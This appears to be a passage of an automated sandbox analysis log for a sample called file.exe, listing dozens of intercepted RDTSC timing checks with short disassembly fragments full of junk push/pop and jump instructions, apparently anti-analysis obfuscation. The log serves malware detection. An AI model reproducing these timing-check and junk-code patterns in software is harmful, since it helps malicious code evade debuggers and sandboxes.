Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8B50 second address: 4E8B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F075CBABECEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8B64 second address: 4E8B70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jng 00007F075D128EF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8B70 second address: 4E8B8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8B8E second address: 4E8B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56865F second address: 568663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 566F86 second address: 566F8E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567124 second address: 567128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5672A1 second address: 5672AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F075D128EF6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5672AD second address: 5672B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567890 second address: 5678B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F075D128F05h 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5678B2 second address: 5678B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567B73 second address: 567B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007F075D128EFEh 0x0000000b jng 00007F075D128EF6h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567B86 second address: 567BB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F075CBABED6h 0x00000008 jg 00007F075CBABEC6h 0x0000000e ja 00007F075CBABEC6h 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567D22 second address: 567D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567D28 second address: 567D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567D2D second address: 567D32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567EE5 second address: 567EF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F075CBABEC6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5684E2 second address: 5684EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5684EC second address: 5684F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F686 second address: 56F693 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F075D128EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D858 second address: 52D85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D85C second address: 513D17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F075D128F00h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ecx 0x0000000f push ebx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop ebx 0x00000013 pop ecx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F075D128EF8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f sub dword ptr [ebp+1245C068h], ebx 0x00000035 call dword ptr [ebp+122D2271h] 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F075D128F00h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D94E second address: 52D96D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F075CBABED4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D96D second address: 52D977 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F075D128EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DD02 second address: 52DD06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DD06 second address: 52DD40 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F075D128EF8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push esi 0x0000000f jmp 00007F075D128F04h 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F075D128F04h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DE77 second address: 52DEB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F075CBABED8h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 push edx 0x00000018 jnl 00007F075CBABEC6h 0x0000001e pop edx 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 pushad 0x00000023 push ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DEB0 second address: 52DEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jne 00007F075D128EF8h 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F075D128F02h 0x00000015 pop eax 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F075D128EF8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 xor ch, FFFFFFCEh 0x00000033 push 9F6A58A0h 0x00000038 push esi 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DFFE second address: 52E02B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F075CBABEC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007F075CBABECDh 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 ja 00007F075CBABECCh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E02B second address: 52E031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E031 second address: 52E035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E19A second address: 52E19E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E2C9 second address: 52E2F9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F075CBABECCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d movzx edi, cx 0x00000010 push 00000004h 0x00000012 ja 00007F075CBABECCh 0x00000018 nop 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c je 00007F075CBABEC6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E2F9 second address: 52E2FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E2FE second address: 52E30B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E7A9 second address: 52E7C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F075D128EF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E920 second address: 52E926 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E926 second address: 52E97E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F075D128EFBh 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F075D128EFBh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jne 00007F075D128EF6h 0x00000026 jmp 00007F075D128F01h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EA46 second address: 52EA98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c je 00007F075CBABEC8h 0x00000012 mov ecx, ebx 0x00000014 jmp 00007F075CBABED4h 0x00000019 lea eax, dword ptr [ebp+12482531h] 0x0000001f jo 00007F075CBABEC6h 0x00000025 nop 0x00000026 push eax 0x00000027 push edx 0x00000028 je 00007F075CBABEC8h 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EA98 second address: 51489F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 pop edx 0x00000012 nop 0x00000013 jmp 00007F075D128EFDh 0x00000018 call dword ptr [ebp+122D282Eh] 0x0000001e jng 00007F075D128F13h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push edi 0x00000028 pop edi 0x00000029 jmp 00007F075D128F02h 0x0000002e jmp 00007F075D128F00h 0x00000033 push eax 0x00000034 pop eax 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FAFB second address: 56FB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FB01 second address: 56FB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FB05 second address: 56FB09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FB09 second address: 56FB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FB0F second address: 56FB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F075CBABEC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FB1E second address: 56FB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FC96 second address: 56FC9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FC9E second address: 56FCC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F075D128EF6h 0x00000009 jmp 00007F075D128F06h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FE0D second address: 56FE11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FE11 second address: 56FE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FE1B second address: 56FE25 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F075CBABEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FE25 second address: 56FE50 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F075D128EFDh 0x00000008 jng 00007F075D128EF6h 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F075D128EFDh 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56FE50 second address: 56FE6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576272 second address: 576279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5766B8 second address: 5766BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57680A second address: 576811 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576811 second address: 576820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F075CBABEC6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576B31 second address: 576B45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576B45 second address: 576B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576B4B second address: 576B73 instructions: 0x00000000 rdtsc 0x00000002 js 00007F075D128EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d js 00007F075D128F07h 0x00000013 jmp 00007F075D128EFBh 0x00000018 jp 00007F075D128EF6h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576B73 second address: 576B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578D0E second address: 578D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578D14 second address: 578D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jp 00007F075CBABEDEh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578EB5 second address: 578EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F075D128EF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C23E second address: 57C246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C246 second address: 57C24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C24A second address: 57C259 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57BAD3 second address: 57BAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F075D128EFFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57BAE7 second address: 57BB18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED7h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F075CBABED4h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57BC7C second address: 57BC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57BF56 second address: 57BF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jno 00007F075CBABECCh 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F075CBABED3h 0x00000014 js 00007F075CBABEC6h 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810C2 second address: 5810CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F075D128EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581229 second address: 58123D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F075CBABEC6h 0x00000008 jno 00007F075CBABEC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58123D second address: 581241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5813C2 second address: 5813CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F075CBABEC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5813CE second address: 5813EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F075D128F04h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5813EB second address: 5813EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5813EF second address: 5813F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581828 second address: 58184C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F075CBABEC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F075CBABED6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58184C second address: 58185E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F075D128EFCh 0x00000008 jbe 00007F075D128EF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589050 second address: 58905B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F075CBABEC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589200 second address: 58921E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F075D128EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F075D128F04h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E57A second address: 52E57E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5894F7 second address: 5894FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5894FB second address: 589527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F075CBABED3h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589527 second address: 58952B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58952B second address: 58954E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F075CBABEC6h 0x00000008 js 00007F075CBABEC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 push ebx 0x00000013 jmp 00007F075CBABECCh 0x00000018 pop ebx 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58954E second address: 589554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58C8FE second address: 58C904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58C904 second address: 58C90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58C90C second address: 58C912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CA59 second address: 58CA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CE64 second address: 58CE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F075CBABEC6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
